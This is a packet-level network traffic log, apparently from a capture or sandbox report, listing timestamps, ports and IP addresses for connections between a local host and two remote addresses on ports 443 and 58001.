Jun 17, 2024 16:18:55.322350025 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322360992 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322369099 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322410107 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322416067 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322422981 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322436094 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322447062 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322467089 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322474003 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322498083 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322510004 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322524071 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322530031 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322547913 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322556019 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322582006 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322587967 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322612047 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322633028 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322637081 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322649956 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322670937 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322676897 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322700977 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322706938 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322731972 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322756052 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322758913 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322772980 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322803974 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322808981 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322833061 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322839022 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322860956 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322870970 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322894096 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322895050 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322910070 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322922945 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322959900 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322995901 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323020935 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323046923 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323056936 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323081970 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323100090 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323102951 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323117018 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323143959 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323158979 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323165894 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323189974 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323201895 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323203087 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323218107 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323239088 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323251009 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323282957 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323290110 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323312998 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323338985 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323364019 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323370934 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323381901 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323385954 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323415041 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323421955 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323452950 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323462009 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323476076 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323493958 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323520899 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323543072 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323568106 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323575020 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323600054 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323611975 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.323973894 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.323995113 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.324028015 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.324038029 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.324062109 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.324080944 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.324228048 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.324336052 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.324363947 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.324393034 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.324400902 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.324426889 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.324440956 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.324445009 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.324501991 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.324587107 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.344052076 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:58.277565956 CEST	49735	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:18:58.287482977 CEST	58001	49735	77.221.140.76	192.168.2.4
Jun 17, 2024 16:18:58.287548065 CEST	49735	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:18:58.303356886 CEST	49735	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:18:58.308439970 CEST	58001	49735	77.221.140.76	192.168.2.4
Jun 17, 2024 16:18:58.308491945 CEST	49735	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:18:58.313450098 CEST	58001	49735	77.221.140.76	192.168.2.4
Jun 17, 2024 16:18:59.149439096 CEST	58001	49735	77.221.140.76	192.168.2.4
Jun 17, 2024 16:18:59.288969040 CEST	58001	49735	77.221.140.76	192.168.2.4
Jun 17, 2024 16:18:59.289150953 CEST	49735	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:18:59.305329084 CEST	49735	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:18:59.310606003 CEST	58001	49735	77.221.140.76	192.168.2.4
Jun 17, 2024 16:18:59.310739994 CEST	49735	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:18:59.506228924 CEST	49737	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:59.506290913 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:59.506383896 CEST	49737	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:59.553527117 CEST	49737	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:59.553543091 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.161545992 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.161629915 CEST	49737	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:00.165287971 CEST	49737	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:00.165319920 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.165561914 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.193154097 CEST	49737	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:00.236505032 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.617522001 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.617548943 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.617577076 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.617598057 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.617609024 CEST	49737	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:00.617619991 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.617633104 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.617646933 CEST	49737	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:00.617660999 CEST	49737	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:00.617677927 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.617728949 CEST	443	49737	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:00.617769957 CEST	49737	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:00.650073051 CEST	49737	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:02.779293060 CEST	65276	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:02.785459042 CEST	58001	65276	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:02.785547972 CEST	65276	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:02.788589001 CEST	65276	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:02.794848919 CEST	58001	65276	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:02.794935942 CEST	65276	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:02.801263094 CEST	58001	65276	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:03.155690908 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:03.155735016 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:03.155798912 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:03.160780907 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:03.160793066 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:03.778903008 CEST	58001	65276	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:03.778971910 CEST	65276	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:03.779746056 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:03.779819012 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:03.780818939 CEST	65276	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:03.785533905 CEST	58001	65276	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:03.801695108 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:03.801712990 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:03.802602053 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:03.847702980 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:03.888571978 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:03.900362968 CEST	65278	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:03.905255079 CEST	58001	65278	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:03.905334949 CEST	65278	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:03.906610966 CEST	65278	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:03.911353111 CEST	58001	65278	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:03.911401033 CEST	65278	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:03.916156054 CEST	58001	65278	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:04.557396889 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.557533979 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.557602882 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.557626963 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.557713032 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.557763100 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.557769060 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.557876110 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.557955980 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.557960987 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.558043957 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.558092117 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.558096886 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.673516989 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.673571110 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.673583984 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.673595905 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.673628092 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.673669100 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.673676014 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.673706055 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.673711061 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.673717976 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.673760891 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.676572084 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.676636934 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.676671028 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.676711082 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.676717043 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.676772118 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.677654982 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.677709103 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.677762032 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.677786112 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.677788019 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.677798033 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.677833080 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.677839041 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.677880049 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.678210974 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.678320885 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.678356886 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.678365946 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.678370953 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.678404093 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.678409100 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.791416883 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.791497946 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.791526079 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.791619062 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.791672945 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.791680098 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.791778088 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.791826963 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.791832924 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.791932106 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.791976929 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.791982889 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.792093039 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.792187929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.792241096 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.792247057 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.792288065 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.792558908 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.792582989 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.792635918 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.792678118 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.792736053 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.792741060 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.792784929 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.792792082 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.793507099 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.793581009 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.793586969 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.793639898 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.794998884 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.795067072 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.795166969 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.795228004 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.795828104 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.795891047 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.796133995 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.796200037 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.796243906 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.796308041 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.796624899 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.796685934 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.796715021 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.796771049 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.907802105 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.907886982 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.907927990 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.907974958 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.908039093 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.908092022 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.908356905 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.908410072 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.909013033 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.909064054 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.909116030 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.909163952 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.909204960 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.909261942 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.909830093 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.909883022 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.911283970 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.911350012 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.911370039 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.911417961 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.911735058 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.911787033 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.912102938 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.912154913 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.912698984 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.912760019 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.912797928 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.912853956 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.912892103 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.912945032 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.913423061 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.913480043 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.913525105 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.913573027 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.913616896 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.913670063 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.914345980 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.914403915 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.914453030 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.914505959 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.914638042 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.914693117 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.915290117 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.915344954 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.915376902 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.915431976 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.915607929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.915659904 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.916296959 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.916349888 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.916596889 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.916650057 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.916683912 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.916753054 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.917181969 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:04.917234898 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:04.937716007 CEST	58001	65278	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:04.937797070 CEST	65278	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:04.937985897 CEST	65278	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:04.946810961 CEST	58001	65278	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:05.024729967 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.024821997 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.025096893 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.025119066 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.025160074 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.025162935 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.025191069 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.025212049 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.025223970 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.025234938 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.025302887 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.025343895 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.025356054 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.025368929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.025396109 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.025417089 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.025609970 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.025655031 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.025677919 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.025684118 CEST	443	65277	188.114.96.3	192.168.2.4
